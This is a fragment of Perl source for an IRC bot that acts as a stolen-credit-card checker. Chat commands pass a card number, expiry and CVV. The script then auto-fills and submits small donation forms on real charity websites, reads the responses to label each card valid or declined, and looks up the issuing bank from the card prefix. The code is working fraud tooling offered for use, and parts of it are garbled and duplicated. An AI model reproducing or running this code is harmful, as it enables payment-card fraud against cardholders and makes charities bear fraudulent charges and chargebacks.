V 6
V 6
com'); my $res = $ua->request($req); #print $res->headers_as_string; #print $res->content; my $date_format = DateTime::Format::Strptime->new( pattern => '%D', # for MM/DD/YYYY american dates locale => 'en_US', time_zone => 'America/Los_Angeles', ); my ($numerocarta,$expmes,$verifica,) = ($1,$2,$3,); my $var1 = substr($expmes,0,2); my $var2 = substr($expmes,2,4); my $cctype = 0; #print "inizio mechanize sacha\n"; if (substr($numerocarta,0,1)==4) { $cctype = "Visa"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[15Visa12]"); } if (substr($numerocarta,0,1)==5) { $cctype = "Mastercard"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[4Master 7Card12] "); } if (substr($numerocarta,0,1)==6) { $cctype = "Discover"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[15Disc7 o15ver12]"); } if (substr($numerocarta,0,1)==3) { $cctype = "American Express"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[14A2m14 e2x12]"); } &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12Number: 0 $numerocarta"); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Expiration:0 $var1/20$var2 "); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Cvv:0 $verifica"); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Amount:0 1USD"); my $f = CGI::FormBuilder::Field->new($form, name => 'donate-online'); my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('https://www.sloma.org/support/donate-online.php'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1); { local $^W; $agent->current_form->value('dother', 'other'); }; { local $^W; $agent->current_form->value('donation_other', '10.0'); }; { local $^W; $agent->current_form->value('purpose-1', 'Where needed most'); }; { local $^W; $agent->current_form->value('checked', 'purpose-1'); }; { local $^W; $agent->current_form->value('first_name', 'dave'); }; { local $^W; $agent->current_form->value('last_name', 'hank'); }; { local $^W; $agent->current_form->value('address-1', '2010 Magnolia Drive'); }; { local $^W; $agent->current_form->value('address-2', 'lacristor'); }; { local $^W; $agent->current_form->value('city', 'clevenlad'); }; { local $^W; $agent->current_form->value('state', 'OH')&($agent->current_form->v
alue('',' ')); }; { local $^W; $agent->current_form->value('zip', '44106'); }; { local $^W; $agent->current_form->value('phone', '729898944'); }; { local $^W; $agent->current_form->value('email', '[email protected]'); }; { local $^W; $agent->current_form->value('card_type', ''.$cctype.''); }; if ($cctype=='visa') { local $^W; $agent->current_form->value('card_type-0', 'Ye s = checkbox (done)'); }; if ($cctype=='Mastercard') { local $^W; $agent->current_form->value('card_type-1 ','Yes = checkbox (done)'); }; { local $^W; $agent->current_form->value('card_number', ''.$numerocarta.''); }; { local $^W; $agent->current_form->value('card_code', ''.$verifica.''); }; if ($var1=='01') { local $^W; $agent->current_form->value('card_expire[month]',' 1 = No = select (done)'); }; if ($var1=='02') { local $^W; $agent->current_form->value('card_expire[month]',' 2 = No = select (done)'); }; if ($var1=='03') { local $^W; $agent->current_form->value('card_expire[month]',' 3 = No = select (done)'); }; if ($var1=='04') { local $^W; $agent->current_form->value('card_expire[month]',' 4 = No = select (done)'); }; if ($var1=='05') { local $^W; $agent->current_form->value('card_expire[month]',' 5 = No = select (done)'); }; if ($var1=='06') { local $^W; $agent->current_form->value('card_expire[month]',' 6 = No = select (done)'); }; if ($var1=='07') { local $^W; $agent->current_form->value('card_expire[month]',' 7 = No = select (done)'); }; if ($var1=='08') { local $^W; $agent->current_form->value('card_expire[month]',' 8 = No = select (done)'); }; if ($var1=='09') { local $^W; $agent->current_form->value('card_expire[month]',' 9 = No = select (done)'); }; if ($var1=='10') { local $^W; $agent->current_form->value('card_expire[month]',' 10 = No = select (done)'); }; if ($var1=='11') { local $^W; $agent->current_form->value('card_expire[month]',' 11 = No = select (done)'); }; if ($var1=='12') { local $^W; $agent->current_form->value('card_expire[month]',' 12 = No = select (done)'); }; { local $^W; $agent->current_form->value('card_expire[year]', '20'.$var2.' = No = select (done)'); }; { local $^W; $agent->current_form->value('day', '30 = No = select (done)'); }; $agent->submit(); #print "<FORM action=\"message.pl\" method=\"post\" name=\"form1\" onsubmit=\"re turn(CheckForm_onclick())\">\n"; $f->allo(opt => 'val'); # FormBuilder allo() call for my $allo ($agent->content) { # $allo holds an object stringified to a field name if ($allo =~ /Thank you.../) { $allo->sticky(0); # clear CGI value &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9NON vbv valid!"); } else { &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expan io08 $verifica 4Declined!"); } } #print $agent->content,"\n"; #print $js_array; my $allo=$agent->content; if ($allo =~/Thank you.../){ my $database = "banklist.txt"; open FILE,"$database" or die "Er
rore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; &respond_to_privmsg(\%msg,"12,1[9ResuLT.....1 2]0 $numerocarta 07$expmes$expanio08 $verifica 9NON vbv valid!"); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ &respond_to_privmsg(\%msg,"12,1[9Bank......12] 0 $nuova 15 $1"); } } }elsif ($allo =~/This transaction has been declined.../){ my $database = "banklist.txt"; open FILE,"$database" or die "Er rore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; &respond_to_privmsg(\%msg,"12,1[9ResuLT.....1 2]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!"); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ my $bankinfo = $1; #&respond_to_privmsg(\%msg,"12,1[9Bank......1 2] 0 $nuova 15 $1"); } } }elsif ($allo =~/Rejected: NO ACCOUNT./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Rejected: NO ACCOUNT."); }elsif ($allo =~/AUTHORIZATION./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Call for authorize transaction."); }elsif ($allo =~/Invalid expiration Date./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(invalid,Please check format (MMYY).)"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Expired)"); }elsif ($allo =~/HOLD CARD * CALL./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! HOLD CARD * CALL"); }elsif ($allo =~/PICK UP CARD./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (PICK UP CARD)"); }elsif ($allo =~/CALL./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (CALL BANK)"); }elsif ($allo =~/Rejected: DECLINE./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (Rejected: DECLINE)"); }elsif ($allo =~/CALL FOR./){
&respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (Call for authorize transaction.)"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Invalid)"); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Recheck)"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(invalid)"); }elsif ($allo =~/Your Transaction has been declined. Please try again by clickin g the following button.Response Message: PICK UP CARD * CALL BANK =./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Response Message: PICK UP CARD * CALL BANK="); }elsif ($allo =~/Thank you! Your order will be processed pending a standard tran saction review./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Thank you! Your order will be processed pending a standard transaction review." ); }elsif ($allo =~/Rejected: NO CHECK ACCOUNT./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Rejected: NO CHECK ACCOUNT."); }elsif ($allo =~/Invalid expiration Date. Please check format (MMYY)./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Invalid expiration Date. Please check format (MMYY)."); }elsif ($allo =~/ Rejected: CARD NO. ERROR./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Rejected: CARD NO. ERROR."); }elsif ($allo =~/ Rejected: SERV NOT ALLOWED./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Rejected: SERV NOT ALLOWED."); }elsif ($allo =~/Invalid Credit Card number./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Invalid Credit Card number."); }elsif ($allo =~/We apologize for technical difficulties. Your transmission did not go through. Try again in a few minutes./){ &respond_to_privmsg(\%msg,"12,1[9Merchant down.....12]0 Try again in a few minutes."); }elsif ($allo =~/Items in bold are required fields./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Invalid Credit Card number."); }elsif ($allo =~/Your generous donation will be appreciated by all who visit and enjoy the San Luis Obispo Museum of Art./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9NON vbv valid!"); }elsif ($allo =~/Thank You./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9NON vbv valid!"); }elsif ($allo =~/The transaction has been declined because of an AVS mismatch./) { &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid! (AVS mismatch)"); } } if($msg{'what'} =~ /\!epi\s(\d{15,16})\s(\d{4})\s(\d{3})/)
{ my ($numerocarta,$expmes,$verifica,) = ($1,$2,$3,); my $var1 = substr($expmes,0,2); my $var2 = substr($expmes,2,4); my $cctype = 0; $ENV{HTTPS_CA_FILE} = "/usr/share/ca-certificates/cacert.org/cacert.org.crt"; #$ENV{HTTPS_CA_FILE} = "/usr/share/ca-certificates/cacert.org/cacert.org.crt"; my $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(GET => 'https://api.betfair.com'); my $res = $ua->request($req); #print $res->headers_as_string; #print $res->content; #$ENV{HTTPS_CA_FILE} = "/usr/share/ca-certificates/cacert.org/cacert.org.crt"; #print "inizio mechanize sacha\n"; if (substr($numerocarta,0,1)==4) { $cctype = "Visa"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[15Visa12]"); } if (substr($numerocarta,0,1)==5) { $cctype = "Mastercard"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[4Master 7Card12] "); } if (substr($numerocarta,0,1)==6) { $cctype = "Discover"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[15Disc7 o15ver12]"); } if (substr($numerocarta,0,1)==3) { $cctype = "Amex"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[14A2m14 e2x12]"); } &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12Number: 0 $numerocarta"); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Expiration:0 $var1/20$var2 "); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Cvv:0 $verifica"); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Amount:0 1USD"); my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('https://www.epilepsynorcal.org/donate.php'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1); { local $^W; $agent->current_form->value('firstname', 'Samuel'); }; { local $^W; $agent->current_form->value('lastname', 'AY'); }; { local $^W; $agent->current_form->value('address', '2010 Magnolia Drive'); }; { local $^W; $agent->current_form->value('city', 'clevenlad'); }; { local $^W; $agent->current_form->value('state', 'Ohio'); }; { local $^W; $agent->current_form->value('zipcode', '44106'); }; { local $^W; $agent->current_form->value('phone', '7298989444'); }; { local $^W; $agent->current_form->value('email', '[email protected]'); }; { local $^W; $agent->current_form->value('cctype', ''.$cctype.''); }; { local $^W; $agent->current_form->value('ccnum', ''.$numerocarta.''); }; { local $^W; $agent->current_form->value('expdate', ''.$var1.''.$var2.''); }; { local $^W; $agent->current_form->value('ccode', ''.$verifica.''); }; { local $^W; $agent->current_form->value('amount', '10'); }; { local $^W; $agent->current_form->value('select', 'One-Time'); }; { local $^W; $agent->current_form->value('often', 'General Donation'); }; $agent->submit(); validate => '/regex/';
#print $agent->content; my $allo=$agent->content; my $contentSlot=$allo; #print "<FORM action=\"message.pl\" method=\"post\" name=\"form1\" onsubmit=\"re turn(CheckForm_onclick())\">\n"; #for my $allo ($agent->content) { # $allo holds an object stringified to a field name #if ($allo =~/Processor Message: The transaction has been declined becaus e of an AVS mismatch. The address provided does not match billing address of car dholder./){ #$allo->sticky(0); # clear CGI value #&respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid! => AVS mismatch"); #} else { # &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expa nio08 $verifica 4Declined!"); #} # } ##print $js_array,"\n"; if ($allo =~ /The transaction has been declined because of an AVS mismatch./){ # initForm(document.getElementById ("frmDonate")); my $database = "banklist.txt"; open FILE,"$database" or die "Er rore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; &respond_to_privmsg(\%msg,"12,1[9ResuLT.....1 2]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!(AVS mismatch)"); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ &respond_to_privmsg(\%msg,"12,1[9Bank12] 0 $nuova 15 $1"); #print "card $variable!"; } } }elsif ($allo =~/Your transaction was denied./){ my $database = "banklist.txt"; open FILE,"$database" or die "Er rore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; &respond_to_privmsg(\%msg,"12,1[9ResuLT.....1 2]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!"); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ my $bankinfo = $1; #&respond_to_privmsg(\%msg,"12,1[9Bank......1 2] 0 $nuova 15 $1"); } } }elsif ($allo =~/The credit card number is invalid./){
&respond_to_privmsg(\%msg,"4,1[0 ResuLT 4] 14$numerocarta14,1 4DECLINED!(Invalid)"); }elsif ($allo =~/Credit card expiration date is invalid./){ &respond_to_privmsg(\%msg,"8Expiration Date: 14 14$expmes$expanio "); &respond_to_privmsg(\%msg,"15 is invalid."); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"4,1[0CREDIT CARD4]7 $numerocarta15 $expmes$expanio14 $verifi ca 0,1THIS TRANSACTION HAS BEEN 4DECLINED!"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"0,1[4,1CREDIT CARD0,1]8 $numerocarta $expmes$expanio $veri fica"); &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 THE CREDIT CARD HAS4 EXPIRED!"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"7,1[0Expiration Date: 14 14$expmes$expanio 14)4 Not is Valid ."); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"4,1[15THE CREDIT CARD7 $numerocarta4]"); &respond_to_privmsg(\%msg,"4,1[15THE CREDIT CARD 4DECLINED 7RECHECK4]"); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $ver ifica 0,1This transaction has been 4Declined!!!"); }elsif ($allo =~/The credit card number entered is not valid./){ &respond_to_privmsg(\%msg,":85Credit Card: 14 9$numerocarta 14"); &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 CREDIT CARD IS4 INVALID!"); }elsif ($allo =~/he following error message was returned: A duplicate transactio n has been submitted./){ &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $ver ifica 0,1This transaction has been 4Declined!!!"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $ver ifica 0,1This transaction has been 4Declined!!!"); }elsif ($allo =~/Error: Major Request Error/){ &respond_to_privmsg(\%msg,"8Credit Card: 14 9$numerocarta 14"); &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 CREDIT CARD IS4 INVALID!"); }elsif ($allo =~/We apologize for technical difficulties. Your transmission did not go through. Try again in a few minutes./){ &respond_to_privmsg(\%msg,"12,1[9Merchant down.....12]0 Try again in a few minutes."); }elsif ($allo =~/Thank for your generous donation to the Truro Historical Societ y./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/Items in bold are required fields./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Invalid Credit Card number."); }elsif ($allo =~ /Click Here For a Printer Friendly Receipt.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($contentSlot =~ / Thank you for your generous donation of $10.00 to Children Shelter of the Upstate. /){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($contentSlot =~ / Thank you for your generous.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($contentSlot =~/Thank you for your generous.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($contentSlot =~/ Thank you for your generous donation of $10.00 to Children Shelter of the Upstate. /){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!");
}elsif ($contentSlot =~/ Thank you for your generous.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($contentSlot =~ /Thank you for your generous.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~ /AVS mismatch./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid! (AVS mismatch."); }elsif ($allo =~ /Click Here For a Printer Friendly Receipt/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/DECLINED CVV2/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!(DECLINED CVV2)."); }elsif ($allo =~/The transaction has been declined because of an AVS.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid! (AVS mismatch)."); }elsif ($allo =~/Thank you, /){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/Error:Credit Card Declined/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined."); }elsif ($allo =~/SGS-002000:/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined."); }elsif ($allo =~/D:DeclinedXXSX:/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined."); }elsif ($allo =~/There has been a problem processing your donation. Too many att empts. Error Code 114/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Too many attempts!"); }elsif ($allo =~/Thank for your generous donation to the Truro Historical Societ y./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(invalid)"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Expired)"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Invalid)"); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Recheck)"); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(invalid)"); }elsif ($allo =~/Thank you! Your order will be processed pending a standard tran saction review./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Thank you! Your order will be processed pending a standard transaction review." ); }elsif ($allo =~/For supporting YOUR Ann Arbor Symphony Orchestra./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific
a 9valid!"); }elsif ($allo =~/'Your credit card...'/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 9valid!"); }elsif ($allo =~/The transaction has been declined because of an AVS mismatch. T he address provided does not match billing address of cardholder./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined!"); }elsif ($allo =~/' Please be sure that your billing information is correct and...'/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined!"); }elsif ($allo =~/try.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined!"); }elsif ($allo =~/The address provided does not match billing address of cardhold er./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 9valid!(AVS mismatch)."); }elsif ($allo =~/THANK YOU/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 9valid!"); }elsif ($allo =~/Insufficient funds./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4doesn't has funds for ur payment. do not honour!!4"); }elsif ($allo =~/ THANK YOU, hank!!!/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 9valid!"); }elsif ($allo =~/The transaction has been completed successfully.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 9valid!"); }elsif($internal =~/This transaction has been declined./ || $internal =~/Lost or stolen card./){ sendmsg($irc_socket, "PRIVMSG $channel 4,1[0,1Results......4,1]7,1 $pNick8,1 $ca rdnumber $expmonth.20$expyear $cvv 4,1is Declined"); }elsif ($allo =~/Rejected: NO ACCOUNT./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Rejected: NO ACCOUNT."); }elsif ($allo =~/AUTHORIZATION./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Call for authorize transaction."); }elsif ($allo =~/Invalid expiration Date./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined!(invalid,Please check format (MMYY).)"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined!(Expired)"); }elsif ($allo =~/HOLD CARD * CALL./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined! HOLD CARD * CALL"); }elsif ($allo =~/PICK UP CARD./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined! (PICK UP CARD)"); }elsif ($allo =~/CALL./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined! (CALL BANK)"); }elsif ($allo =~/Rejected: DECLINE./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined! (Rejected: DECLINE)"); }elsif ($allo =~/CALL FOR./){
$verific
$verific
$verific $verific
&respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (Call for authorize transaction.)"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Invalid)"); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Recheck)"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(invalid)"); }elsif ($allo =~/Your Transaction has been declined. Please try again by clickin g the following button.Response Message: PICK UP CARD * CALL BANK =./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Response Message: PICK UP CARD * CALL BANK="); }elsif ($allo =~/Thank you! Your order will be processed pending a standard tran saction review./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Thank you! Your order will be processed pending a standard transaction review." ); }elsif ($allo =~/Rejected: NO CHECK ACCOUNT./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Rejected: NO CHECK ACCOUNT."); }elsif ($allo =~/Invalid expiration Date. Please check format (MMYY)./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Invalid expiration Date. Please check format (MMYY)."); }elsif ($allo =~/ Rejected: CARD NO. ERROR./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Rejected: CARD NO. ERROR."); }elsif ($allo =~/ Rejected: SERV NOT ALLOWED./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Rejected: SERV NOT ALLOWED."); }elsif ($allo =~/Invalid Credit Card number./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Invalid Credit Card number."); }elsif ($allo =~/We apologize for technical difficulties. Your transmission did not go through. Try again in a few minutes./){ &respond_to_privmsg(\%msg,"12,1[9Merchant down.....12]0 Try again in a few minutes."); }elsif ($allo =~/Please be sure that your billing information is correct.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined!."); }elsif ($allo =~/try again/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 